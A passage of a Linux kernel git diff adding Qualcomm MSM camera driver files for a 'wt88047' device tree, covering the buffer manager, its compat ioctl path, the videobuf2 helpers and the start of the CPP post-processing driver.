(copy_from_user(buf_info32, (void __user *)up, + sizeof(struct msm_buf_mngr_info32_t))) + return -EFAULT; + + buf_info->session_id = buf_info32->session_id; + buf_info->stream_id = buf_info32->stream_id; + buf_info->frame_id = buf_info32->frame_id; + buf_info->index = buf_info32->index; + buf_info->timestamp.tv_sec = (long) buf_info32->timestamp.tv_sec; + buf_info->timestamp.tv_usec = (long) buf_info32->timestamp.tv_usec; + + /* Convert 32 bit IOCTL ID's to 64 bit IOCTL ID's + * except VIDIOC_MSM_CPP_CFG32, which needs special + * processing + */ + switch (cmd) { + case VIDIOC_MSM_BUF_MNGR_GET_BUF32: + cmd = VIDIOC_MSM_BUF_MNGR_GET_BUF; + break; + case VIDIOC_MSM_BUF_MNGR_BUF_DONE32: + cmd = VIDIOC_MSM_BUF_MNGR_BUF_DONE; + break; + case VIDIOC_MSM_BUF_MNGR_PUT_BUF32: + cmd = VIDIOC_MSM_BUF_MNGR_PUT_BUF; + break; + default: + pr_debug("%s : unsupported compat type", __func__); + break; + } + + switch (cmd) { + case VIDIOC_MSM_BUF_MNGR_GET_BUF: + case VIDIOC_MSM_BUF_MNGR_BUF_DONE: + case VIDIOC_MSM_BUF_MNGR_PUT_BUF: + rc = v4l2_subdev_call(sd, core, ioctl, cmd, buf_info); + break; + default: + pr_debug("%s : unsupported compat type", __func__); + break; + } + + buf_info32->session_id = buf_info->session_id; + buf_info32->stream_id = buf_info->stream_id; + buf_info32->index = buf_info->index; + buf_info32->timestamp.tv_sec = (int32_t) buf_info->timestamp.tv_sec; + buf_info32->timestamp.tv_usec = (int32_t) buf_info->timestamp.tv_usec; + + if (copy_to_user((void __user *)up, buf_info32, + sizeof(struct msm_buf_mngr_info32_t))) + return -EFAULT; + + return 0; +} +#endif + +static struct v4l2_subdev_core_ops msm_buf_mngr_subdev_core_ops = { + .ioctl = msm_buf_mngr_subdev_ioctl, +}; + +static const struct v4l2_subdev_internal_ops + msm_generic_buf_mngr_subdev_internal_ops = { + .open = msm_generic_buf_mngr_open, + .close = msm_generic_buf_mngr_close, +}; + +static const struct v4l2_subdev_ops msm_buf_mngr_subdev_ops = { + .core = &msm_buf_mngr_subdev_core_ops, +}; + +static const struct of_device_id msm_buf_mngr_dt_match[] = { + {.compatible = "qcom,msm_buf_mngr"}, + {} +}; + +static struct v4l2_file_operations msm_buf_v4l2_subdev_fops; + +static long msm_bmgr_subdev_do_ioctl( + struct file *file, unsigned int cmd, void *arg) +{ + struct video_device *vdev = video_devdata(file); + struct v4l2_subdev *sd = vdev_to_v4l2_subdev(vdev); + + return v4l2_subdev_call(sd, core, ioctl, cmd, arg); +} + + +static long msm_buf_subdev_fops_ioctl(struct file *file, unsigned int cmd, + unsigned long arg) +{ + return video_usercopy(file, cmd, arg, msm_bmgr_subdev_do_ioctl); +} + +static int32_t __init msm_buf_mngr_init(void) +{ + int32_t rc = 0; + msm_buf_mngr_dev = kzalloc(sizeof(*msm_buf_mngr_dev), + GFP_KERNEL); + if (WARN_ON(!msm_buf_mngr_dev)) { + pr_err("%s: not enough memory", __func__); + return -ENOMEM; + } + /* Sub-dev */ + v4l2_subdev_init(&msm_buf_mngr_dev->subdev.sd, + &msm_buf_mngr_subdev_ops); + + msm_buf_v4l2_subdev_fops.owner = v4l2_subdev_fops.owner; + msm_buf_v4l2_subdev_fops.open = v4l2_subdev_fops.open; + msm_buf_v4l2_subdev_fops.unlocked_ioctl = msm_buf_subdev_fops_ioctl; + msm_buf_v4l2_subdev_fops.release = v4l2_subdev_fops.release; + msm_buf_v4l2_subdev_fops.poll = v4l2_subdev_fops.poll; + +#ifdef CONFIG_COMPAT + msm_buf_v4l2_subdev_fops.compat_ioctl32 = + msm_bmgr_subdev_fops_compat_ioctl; +#endif + snprintf(msm_buf_mngr_dev->subdev.sd.name, + ARRAY_SIZE(msm_buf_mngr_dev->subdev.sd.name), "msm_buf_mngr"); + msm_buf_mngr_dev->subdev.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + v4l2_set_subdevdata(&msm_buf_mngr_dev->subdev.sd, msm_buf_mngr_dev); + + media_entity_init(&msm_buf_mngr_dev->subdev.sd.entity, 0, NULL, 0); + msm_buf_mngr_dev->subdev.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + msm_buf_mngr_dev->subdev.sd.entity.group_id = + MSM_CAMERA_SUBDEV_BUF_MNGR; + msm_buf_mngr_dev->subdev.sd.internal_ops = + &msm_generic_buf_mngr_subdev_internal_ops; + msm_buf_mngr_dev->subdev.close_seq = MSM_SD_CLOSE_4TH_CATEGORY; + rc = msm_sd_register(&msm_buf_mngr_dev->subdev); + if (rc != 0) { + pr_err("%s: msm_sd_register error = %d\n", __func__, rc); + goto end; + } + + msm_buf_mngr_dev->subdev.sd.devnode->fops = &msm_buf_v4l2_subdev_fops; + + v4l2_subdev_notify(&msm_buf_mngr_dev->subdev.sd, MSM_SD_NOTIFY_REQ_CB, + &msm_buf_mngr_dev->vb2_ops); + + INIT_LIST_HEAD(&msm_buf_mngr_dev->buf_qhead); + spin_lock_init(&msm_buf_mngr_dev->buf_q_spinlock); +end: + return rc; +} + +static void __exit msm_buf_mngr_exit(void) +{ + kfree(msm_buf_mngr_dev); +} + +module_init(msm_buf_mngr_init); +module_exit(msm_buf_mngr_exit); +MODULE_DESCRIPTION("MSM Buffer Manager"); +MODULE_LICENSE("GPL v2"); + diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h new file mode 100644 index 0000000000000..82ea21fcf208b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h @@ -0,0 +1,40 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_BUF_GENERIC_MNGR_H__ +#define __MSM_BUF_GENERIC_MNGR_H__ + +#include +#include +#include +#include +#include +#include +#include + +#include "msm.h" +#include "msm_sd.h" + +struct msm_get_bufs { + struct list_head entry; + struct vb2_buffer *vb2_buf; + uint32_t session_id; + uint32_t stream_id; +}; + +struct msm_buf_mngr_device { + struct list_head buf_qhead; + spinlock_t buf_q_spinlock; + struct msm_sd_subdev subdev; + struct msm_sd_req_vb2_q vb2_ops; +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h new file mode 100644 index 0000000000000..7c1519dd66eb5 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h @@ -0,0 +1,86 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef _MSM_SD_H +#define _MSM_SD_H + +#include +#include + +/* NOTE: this header file should ONLY be included by subdev drivers */ + +struct msm_sd_close_ioctl { + unsigned int session; + unsigned int stream; +}; + +#define MSM_SD_CLOSE_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 26, struct msm_sd_close_ioctl) + +#define MSM_SD_CLOSE_SESSION \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 27, struct msm_sd_close_ioctl) + +#define MSM_SD_CLOSE_SESSION_AND_STREAM \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 28, struct msm_sd_close_ioctl) + +#define MSM_SD_SHUTDOWN \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 29, struct msm_sd_close_ioctl) + +/* + * This is used to install Sequence in msm_sd_register. + * During msm_close, proper close sequence will be triggered. + * For example: + * + * close_sequence = 0x00100001 (ISP) + * close_sequence = 0x00100002 (ISP) + * close_sequence = 0x00100003 (ISP) + * close_sequence = 0x00200001 (sensor) + * close_sequence = 0x00200002 (sensor) + * close_sequence = 0x00200003 (sensor) + */ +#define MSM_SD_CLOSE_1ST_CATEGORY 0x00010000 +#define MSM_SD_CLOSE_2ND_CATEGORY 0x00020000 +#define MSM_SD_CLOSE_3RD_CATEGORY 0x00030000 +#define MSM_SD_CLOSE_4TH_CATEGORY 0x00040000 + +struct msm_sd_subdev { + struct v4l2_subdev sd; + int close_seq; + struct list_head list; +}; + +struct msm_sd_req_sd { + char *name; + struct v4l2_subdev *subdev; +}; + +struct msm_sd_req_vb2_q { + struct vb2_buffer *(*get_buf)(int session_id, unsigned int stream_id); + struct vb2_queue *(*get_vb2_queue)(int session_id, + unsigned int stream_id); + int (*put_buf)(struct vb2_buffer *vb2_buf, int session_id, + unsigned int stream_id); + int (*buf_done)(struct vb2_buffer *vb2_buf, int session_id, + unsigned int stream_id); +}; + +#define MSM_SD_NOTIFY_GET_SD 0x00000001 +#define MSM_SD_NOTIFY_PUT_SD 0x00000002 +#define MSM_SD_NOTIFY_REQ_CB 0x00000003 + +int msm_sd_register(struct msm_sd_subdev *msm_subdev); +int msm_sd_unregister(struct msm_sd_subdev *sd); +struct v4l2_subdev *msm_sd_get_subdev(struct v4l2_subdev *sd, + const char *get_name); +void msm_sd_put_subdev(struct v4l2_subdev *sd, struct v4l2_subdev *put); + +#endif /*_MSM_SD_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile new file mode 100644 index 0000000000000..2673bdd3eeb6c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/msm_vb2 +obj-$(CONFIG_MSMB_CAMERA) += msm_vb2.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c new file mode 100644 index 0000000000000..6e9336a20d293 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c @@ -0,0 +1,311 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include "msm_vb2.h" + +static int msm_vb2_queue_setup(struct vb2_queue *q, + const struct v4l2_format *fmt, + unsigned int *num_buffers, unsigned int *num_planes, + unsigned int sizes[], void *alloc_ctxs[]) +{ + int i; + struct msm_v4l2_format_data *data = q->drv_priv; + + if (!data) { + pr_err("%s: drv_priv NULL\n", __func__); + return -EINVAL; + } + if (data->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { + if (WARN_ON(data->num_planes > VIDEO_MAX_PLANES)) + return -EINVAL; + + *num_planes = data->num_planes; + + for (i = 0; i < data->num_planes; i++) + sizes[i] = data->plane_sizes[i]; + } else { + pr_err("%s: Unsupported buf type :%d\n", __func__, + data->type); + return -EINVAL; + } + return 0; +} + +int msm_vb2_buf_init(struct vb2_buffer *vb) +{ + struct msm_stream *stream; + struct msm_vb2_buffer *msm_vb2_buf; + + stream = msm_get_stream_from_vb2q(vb->vb2_queue); + if (!stream) { + pr_err("%s: Couldn't find stream\n", __func__); + return -EINVAL; + } + msm_vb2_buf = container_of(vb, struct msm_vb2_buffer, vb2_buf); + msm_vb2_buf->in_freeq = 0; + + return 0; +} + +static void msm_vb2_buf_queue(struct vb2_buffer *vb) +{ + struct msm_vb2_buffer *msm_vb2; + struct msm_stream *stream; + unsigned long flags; + + msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); + + if (!msm_vb2) { + pr_err("%s:%d] vb2_buf NULL", __func__, __LINE__); + return; + } + + stream = msm_get_stream_from_vb2q(vb->vb2_queue); + if (!stream) { + pr_err("%s:%d] NULL stream", __func__, __LINE__); + return; + } + + spin_lock_irqsave(&stream->stream_lock, flags); + list_add_tail(&msm_vb2->list, &stream->queued_list); + spin_unlock_irqrestore(&stream->stream_lock, flags); +} + +static int msm_vb2_buf_finish(struct vb2_buffer *vb) +{ + struct msm_vb2_buffer *msm_vb2; + struct msm_stream *stream; + unsigned long flags; + struct msm_vb2_buffer *msm_vb2_entry, *temp; + + msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); + + if (!msm_vb2) { + pr_err("%s:%d] vb2_buf NULL", __func__, __LINE__); + return -EINVAL; + } + + stream = msm_get_stream_from_vb2q(vb->vb2_queue); + if (!stream) { + pr_err("%s:%d] NULL stream", __func__, __LINE__); + return -EINVAL; + } + + spin_lock_irqsave(&stream->stream_lock, flags); + list_for_each_entry_safe(msm_vb2_entry, temp, &(stream->queued_list), + list) { + if (msm_vb2_entry == msm_vb2) { + list_del_init(&msm_vb2_entry->list); + break; + } + } + spin_unlock_irqrestore(&stream->stream_lock, flags); + return 0; +} + +static void msm_vb2_buf_cleanup(struct vb2_buffer *vb) +{ + struct msm_vb2_buffer *msm_vb2; + struct msm_stream *stream; + unsigned long flags; + + msm_vb2 = container_of(vb, struct msm_vb2_buffer, vb2_buf); + + if (!msm_vb2) { + pr_err("%s:%d] vb2 NULL", __func__, __LINE__); + return; + } + + stream = msm_get_stream_from_vb2q(vb->vb2_queue); + if (!stream) { + pr_err("%s:%d] NULL stream", __func__, __LINE__); + return; + } + + spin_lock_irqsave(&stream->stream_lock, flags); + INIT_LIST_HEAD(&stream->queued_list); + spin_unlock_irqrestore(&stream->stream_lock, flags); +} + +static struct vb2_ops msm_vb2_get_q_op = { + .queue_setup = msm_vb2_queue_setup, + .buf_init = msm_vb2_buf_init, + .buf_queue = msm_vb2_buf_queue, + .buf_cleanup = msm_vb2_buf_cleanup, + .buf_finish = msm_vb2_buf_finish, +}; + + +struct vb2_ops *msm_vb2_get_q_ops(void) +{ + return &msm_vb2_get_q_op; +} + +static void *msm_vb2_dma_contig_get_userptr(void *alloc_ctx, + unsigned long vaddr, unsigned long size, int write) +{ + struct msm_vb2_private_data *priv; + priv = kzalloc(sizeof(*priv), GFP_KERNEL); + if (!priv) + return ERR_PTR(-ENOMEM); + priv->vaddr = (void *)vaddr; + priv->size = size; + priv->alloc_ctx = alloc_ctx; + return priv; +} + +static void msm_vb2_dma_contig_put_userptr(void *buf_priv) +{ + kzfree(buf_priv); +} + +static struct vb2_mem_ops msm_vb2_get_q_mem_op = { + .get_userptr = msm_vb2_dma_contig_get_userptr, + .put_userptr = msm_vb2_dma_contig_put_userptr, +}; + +struct vb2_mem_ops *msm_vb2_get_q_mem_ops(void) +{ + return &msm_vb2_get_q_mem_op; +} + +static struct vb2_queue *msm_vb2_get_queue(int session_id, + unsigned int stream_id) +{ + return msm_get_stream_vb2q(session_id, stream_id); +} + +static struct vb2_buffer *msm_vb2_get_buf(int session_id, + unsigned int stream_id) +{ + struct msm_stream *stream; + struct vb2_buffer *vb2_buf = NULL; + struct msm_vb2_buffer *msm_vb2 = NULL; + unsigned long flags; + + stream = msm_get_stream(session_id, stream_id); + if (IS_ERR_OR_NULL(stream)) + return NULL; + + spin_lock_irqsave(&stream->stream_lock, flags); + + if (!stream->vb2_q) { + pr_err("%s: stream q not available\n", __func__); + goto end; + } + + list_for_each_entry(msm_vb2, &(stream->queued_list), list) { + vb2_buf = &(msm_vb2->vb2_buf); + if (vb2_buf->state != VB2_BUF_STATE_ACTIVE) + continue; + + if (msm_vb2->in_freeq) + continue; + + msm_vb2->in_freeq = 1; + goto end; + } + msm_vb2 = NULL; + vb2_buf = NULL; +end: + spin_unlock_irqrestore(&stream->stream_lock, flags); + return vb2_buf; +} + +static int msm_vb2_put_buf(struct vb2_buffer *vb, int session_id, + unsigned int stream_id) +{ + struct msm_stream *stream; + struct msm_vb2_buffer *msm_vb2; + int rc = 0; + unsigned long flags; + stream = msm_get_stream(session_id, stream_id); + if (IS_ERR_OR_NULL(stream)) + return -EINVAL; + + spin_lock_irqsave(&stream->stream_lock, flags); + if (vb) { + msm_vb2 = + container_of(vb, struct msm_vb2_buffer, vb2_buf); + if (msm_vb2->in_freeq) { + msm_vb2->in_freeq = 0; + rc = 0; + } else + rc = -EINVAL; + } else { + pr_err("%s: VB buffer is null\n", __func__); + rc = -EINVAL; + } + spin_unlock_irqrestore(&stream->stream_lock, flags); + return rc; +} + +static int msm_vb2_buf_done(struct vb2_buffer *vb, int session_id, + unsigned int stream_id) +{ + unsigned long flags; + struct msm_vb2_buffer *msm_vb2; + struct msm_stream *stream; + struct vb2_buffer *vb2_buf = NULL; + int rc = 0; + + stream = msm_get_stream(session_id, stream_id); + if (IS_ERR_OR_NULL(stream)) + return 0; + spin_lock_irqsave(&stream->stream_lock, flags); + if (vb) { + list_for_each_entry(msm_vb2, &(stream->queued_list), list) { + vb2_buf = &(msm_vb2->vb2_buf); + if (vb2_buf == vb) + break; + } + if (vb2_buf != vb) { + pr_err("%s:%d VB buffer is INVALID vb=%x, ses_id=%d, str_id=%d\n", + __func__, __LINE__, (unsigned int)vb, + session_id, stream_id); + rc = -EINVAL; + goto out; + } + msm_vb2 = + container_of(vb, struct msm_vb2_buffer, vb2_buf); + /* put buf before buf done */ + if (msm_vb2->in_freeq) { + vb2_buffer_done(vb, VB2_BUF_STATE_DONE); + msm_vb2->in_freeq = 0; + rc = 0; + } else + rc = -EINVAL; + } else { + pr_err("%s:%d VB buffer is NULL for ses_id=%d, str_id=%d\n", + __func__, __LINE__, session_id, stream_id); + rc = -EINVAL; + } +out: + spin_unlock_irqrestore(&stream->stream_lock, flags); + return rc; +} + +int msm_vb2_request_cb(struct msm_sd_req_vb2_q *req) +{ + if (!req) { + pr_err("%s: suddev is null\n", __func__); + return -EINVAL; + } + + req->get_buf = msm_vb2_get_buf; + req->get_vb2_queue = msm_vb2_get_queue; + req->put_buf = msm_vb2_put_buf; + req->buf_done = msm_vb2_buf_done; + + return 0; +} + diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h new file mode 100644 index 0000000000000..7082f8583d1da --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h @@ -0,0 +1,70 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef _MSM_VB_H +#define _MSM_VB_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm.h" +#include "msm_sd.h" + +struct msm_vb2_buffer { + /* + * vb2 buffer has to be first in the structure + * because both v4l2 frameworks and driver directly + * cast msm_vb2_buffer to a vb2_buf. + */ + struct vb2_buffer vb2_buf; + struct list_head list; + int in_freeq; +}; + +struct msm_vb2_private_data { + void *vaddr; + unsigned long size; + /* Offset of the plane inside the buffer */ + void *alloc_ctx; +}; + +struct msm_stream { + struct list_head list; + + /* stream index per session, same + * as stream_id but set through s_parm */ + unsigned int stream_id; + /* vb2 buffer handling */ + struct vb2_queue *vb2_q; + spinlock_t stream_lock; + struct list_head queued_list; +}; + +struct vb2_ops *msm_vb2_get_q_ops(void); +struct vb2_mem_ops *msm_vb2_get_q_mem_ops(void); +int msm_vb2_request_cb(struct msm_sd_req_vb2_q *req_sd); + +#endif /*_MSM_VB_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile new file mode 100644 index 0000000000000..4193adc173f73 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile @@ -0,0 +1,2 @@ +obj-$(CONFIG_MSMB_CAMERA) += cpp/ +obj-$(CONFIG_MSMB_CAMERA) += vpe/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile new file mode 100644 index 0000000000000..c793ef6a7ecc3 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile @@ -0,0 +1,4 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/isp/ +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSM_CPP) += msm_cpp.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c new file mode 100644 index 0000000000000..a9aa9a7f36926 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c @@ -0,0 +1,2372 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define pr_fmt(fmt) "MSM-CPP %s:%d " fmt, __func__, __LINE__ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_cpp.h" +#include "msm_isp_util.h" +#include "msm_camera_io_util.h" +#include + +#define MSM_CPP_DRV_NAME "msm_cpp" + +#define MSM_CPP_MAX_BUFF_QUEUE 16 + +#define CONFIG_MSM_CPP_DBG 0 + +#define ENABLE_CPP_LOW 0 + +#define CPP_CMD_TIMEOUT_MS 300 + +#define MSM_CPP_CORE_CLK_IDX 4 +#define MSM_MICRO_IFACE_CLK_IDX 7 + +#define MSM_CPP_NOMINAL_CLOCK 266670000 +#define MSM_CPP_TURBO_CLOCK 320000000 + +#define CPP_FW_VERSION_1_2_0 0x10020000 +#define CPP_FW_VERSION_1_4_0 0x10040000 +#define CPP_FW_VERSION_1_6_0 0x10060000 + +/* stripe information offsets in frame command */ +#define STRIPE_BASE_FW_1_2_0 130 +#define STRIPE_BASE_FW_1_4_0 140 +#define STRIPE_BASE_FW_1_6_0 464 + + +/* dump the frame command before writing to the hardware */ +#define MSM_CPP_DUMP_FRM_CMD 0 + +#define CPP_CLK_INFO_MAX 16 + +static int msm_cpp_buffer_ops(struct cpp_device *cpp_dev, + uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info); + +#if CONFIG_MSM_CPP_DBG +#define CPP_DBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CPP_DBG(fmt, args...) pr_debug(fmt, ##args) +#endif + +#define CPP_LOW(fmt, args...) do { \ + if (ENABLE_CPP_LOW) \ + pr_info(fmt, ##args); \ + } while (0) + +#define ERR_USER_COPY(to) pr_err("copy %s user\n", \ + ((to) ? "to" : "from")) +#define ERR_COPY_FROM_USER() ERR_USER_COPY(0) + +#define msm_dequeue(queue, member) ({ \ + unsigned long flags; \ + struct msm_device_queue *__q = (queue); \ + struct msm_queue_cmd *qcmd = 0; \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + __q->len--; \ + qcmd = list_first_entry(&__q->list, \ + struct msm_queue_cmd, member); \ + list_del_init(&qcmd->member); \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ + qcmd; \ +}) + +#define MSM_CPP_MAX_TIMEOUT_TRIAL 3 + +struct msm_cpp_timer_data_t { + struct cpp_device *cpp_dev; + struct msm_cpp_frame_info_t *processed_frame; +}; + +struct msm_cpp_timer_t { + atomic_t used; + struct msm_cpp_timer_data_t data; + struct timer_list cpp_timer; +}; + +struct msm_cpp_timer_t cpp_timer; + +static void msm_queue_init(struct msm_device_queue *queue, const char *name) +{ + CPP_DBG("E\n"); + spin_lock_init(&queue->lock); + queue->len = 0; + queue->max = 0; + queue->name = name; + INIT_LIST_HEAD(&queue->list); + init_waitqueue_head(&queue->wait); +} + +static void msm_enqueue(struct msm_device_queue *queue, + struct list_head *entry) +{ + unsigned long flags; + spin_lock_irqsave(&queue->lock, flags); + queue->len++; + if (queue->len > queue->max) { + queue->max = queue->len; + pr_info("queue %s new max is %d\n", queue->name, queue->max); + } + list_add_tail(entry, &queue->list); + wake_up(&queue->wait); + CPP_DBG("woke up %s\n", queue->name); + spin_unlock_irqrestore(&queue->lock, flags); +} + +#define msm_cpp_empty_list(queue, member) { \ + unsigned long flags; \ + struct msm_queue_cmd *qcmd = NULL; \ + if (queue) { \ + spin_lock_irqsave(&queue->lock, flags); \ + while (!list_empty(&queue->list)) { \ + queue->len--; \ + qcmd = list_first_entry(&queue->list, \ + struct msm_queue_cmd, member); \ + list_del_init(&qcmd->member); \ + kfree(qcmd); \ + } \ + spin_unlock_irqrestore(&queue->lock, flags); \ + } \ +} + +static struct msm_cam_clk_info cpp_clk_info[CPP_CLK_INFO_MAX]; + +static int msm_cpp_notify_frame_done(struct cpp_device *cpp_dev); +static void cpp_load_fw(struct cpp_device *cpp_dev, char *fw_name_bin); +static void cpp_timer_callback(unsigned long data); + +uint8_t induce_error; +static int msm_cpp_enable_debugfs(struct cpp_device *cpp_dev); + +static void msm_cpp_write(u32 data, void __iomem *cpp_base) +{ + writel_relaxed((data), cpp_base + MSM_CPP_MICRO_FIFO_RX_DATA); +} + +static void msm_cpp_clear_timer(struct cpp_device *cpp_dev) +{ + atomic_set(&cpp_timer.used, 0); + del_timer(&cpp_timer.cpp_timer); + cpp_timer.data.processed_frame = NULL; + cpp_dev->timeout_trial_cnt = 0; +} + +static uint32_t msm_cpp_read(void __iomem *cpp_base) +{ + uint32_t tmp, retry = 0; + do { + tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_TX_STAT); + } while (((tmp & 0x2) == 0x0) && (retry++ < 10)) ; + if (retry < 10) { + tmp = msm_camera_io_r(cpp_base + MSM_CPP_MICRO_FIFO_TX_DATA); + CPP_DBG("Read data: 0%x\n", tmp); + } else { + CPP_DBG("Read failed\n"); + tmp = 0xDEADBEEF; + } + + return tmp; +} + +static struct msm_cpp_buff_queue_info_t *msm_cpp_get_buff_queue_entry( + struct cpp_device *cpp_dev, uint32_t session_id, uint32_t stream_id) +{ + uint32_t i = 0; + struct msm_cpp_buff_queue_info_t *buff_queue_info = NULL; + + for (i = 0; i < cpp_dev->num_buffq; i++) { + if ((cpp_dev->buff_queue[i].used == 1) && + (cpp_dev->buff_queue[i].session_id == session_id) && + (cpp_dev->buff_queue[i].stream_id == stream_id)) { + buff_queue_info = &cpp_dev->buff_queue[i]; + break; + } + } + + if (buff_queue_info == NULL) { + pr_err("error buffer queue entry for sess:%d strm:%d not found\n", + session_id, stream_id); + } + return buff_queue_info; +} + +static unsigned long msm_cpp_get_phy_addr(struct cpp_device *cpp_dev, + struct msm_cpp_buff_queue_info_t *buff_queue_info, uint32_t buff_index, + uint8_t native_buff, int *fd) +{ + unsigned long phy_add = 0; + struct list_head *buff_head; + struct msm_cpp_buffer_map_list_t *buff, *save; + + if (native_buff) + buff_head = &buff_queue_info->native_buff_head; + else + buff_head = &buff_queue_info->vb2_buff_head; + + list_for_each_entry_safe(buff, save, buff_head, entry) { + if (buff->map_info.buff_info.index == buff_index) { + phy_add = buff->map_info.phy_addr; + *fd = buff->map_info.buff_info.fd; + break; + } + } + + return phy_add; +} + +static unsigned long msm_cpp_queue_buffer_info(struct cpp_device *cpp_dev, + struct msm_cpp_buff_queue_info_t *buff_queue, + struct msm_cpp_buffer_info_t *buffer_info) +{ + struct list_head *buff_head; + struct msm_cpp_buffer_map_list_t *buff, *save; + int rc = 0; + + if (buffer_info->native_buff) + buff_head = &buff_queue->native_buff_head; + else + buff_head = &buff_queue->vb2_buff_head; + + list_for_each_entry_safe(buff, save, buff_head, entry) { + if (buff->map_info.buff_info.index == buffer_info->index) { + pr_err("error buffer index already queued\n"); + return -EINVAL; + } + } + + buff = kzalloc( + sizeof(struct msm_cpp_buffer_map_list_t), GFP_KERNEL); + if (!buff) { + pr_err("error allocating memory\n"); + return -EINVAL; + } + + buff->map_info.buff_info = *buffer_info; + buff->map_info.ion_handle = ion_import_dma_buf(cpp_dev->client, + buffer_info->fd); + if (IS_ERR_OR_NULL(buff->map_info.ion_handle)) { + pr_err("ION import failed\n"); + goto QUEUE_BUFF_ERROR1; + } + rc = ion_map_iommu(cpp_dev->client, buff->map_info.ion_handle, + cpp_dev->domain_num, 0, SZ_4K, 0, + &buff->map_info.phy_addr, + &buff->map_info.len, 0, 0); + if (rc < 0) { + pr_err("ION mmap failed\n"); + goto QUEUE_BUFF_ERROR2; + } + + INIT_LIST_HEAD(&buff->entry); + 